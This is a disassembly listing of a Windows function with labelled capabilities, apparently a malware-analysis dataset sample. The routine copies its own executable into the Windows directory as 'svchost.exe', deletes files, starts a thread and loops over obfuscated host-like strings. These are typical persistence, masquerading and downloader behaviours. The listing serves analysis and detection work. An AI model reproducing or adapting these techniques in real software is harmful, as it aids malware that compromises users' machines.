Function at 0x402350
Capabilities:
Copy file
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
sub esp, 0x7fc
push ebx
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.00401000
xor ebx, ebx
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x44
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xe], 0x6e
mov byte [esp + 0xf], 0x67
mov byte [esp + 0x10], bl
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
push ecx
push eax
push 0x480
lea ecx, [esp + 0x398]
push 0x404020
push ecx
lea ecx, [esp + 0x2c]
call fcn.00401040
mov ecx, 0x120
lea esi, [esp + 0x388]
mov edi, 0x404020
rep movsd dword es:[edi], dword [esi]
call fcn.004022c0
test eax, eax
je 0x402624
push 0x404e04
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x285]
mov byte [esp + 0x284], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x284]
push 0x104
push edx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x180]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push str._s_svchost.exe
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x24]
lea ecx, [esp + 0x290]
push eax
push ecx
call fcn.004021d0
add esp, 0x14
test eax, eax
jne 0x402568
push ebp
lea edx, [esp + 0x1c]
push 1
lea eax, [esp + 0x28c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x288]
push ecx
call fcn.00402030
lea edx, [esp + 0x20]
add esp, 4
test edx, edx
je 0x402553
lea eax, [esp + 0x1c]
push 0x4045f0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
cmp ebp, ebx
je 0x402553
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x80
stosb byte es:[edi], al
call fcn.00401830
mov dl, al
mov ecx, 0x18
mov dh, dl
lea edi, [esp + 0x124]
mov eax, edx
push 0xff
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401830
mov ecx, eax
add esp, 8
shl ecx, 6
add ecx, eax
lea eax, [eax + ecx*2]
shl eax, 3
je 0x402549
mov edi, dword [sym.imp.MSVCRT.dll_fputs]
mov esi, eax
lea edx, [esp + 0x120]
push ebp
push edx
call edi
add esp, 8
dec esi
jne 0x402538
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [esp + 0x1c]
push eax
call fcn.004019d0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push ebx
push ebx
push 0x4020d0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x180]
push 0x4045ec
push ecx
stosb byte es:[edi], al
call fcn.00401890
lea edx, [esp + 0x188]
push edx
push 0x404020
call fcn.00401570
add esp, 0x10
test eax, eax
je 0x4025f8
lea eax, [esp + 0x180]
push eax
call fcn.00401a40
call fcn.00401ce0
push str.f_YYrlkajrvYYh__
push str.mqqu_rrrtludlk_qfjh4blc
call fcn.00401570
push str.f_YYrlkajrvYYh__
call fcn.004019d0
add esp, 0x10
cmp dword [0x404438], ebx
je 0x402605
call fcn.00401de0
mov eax, dword [0x40432c]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 5
push ecx
call esi
jmp 0x402585
lea edx, [esp + 0x180]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x180]
push eax
call fcn.004019d0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]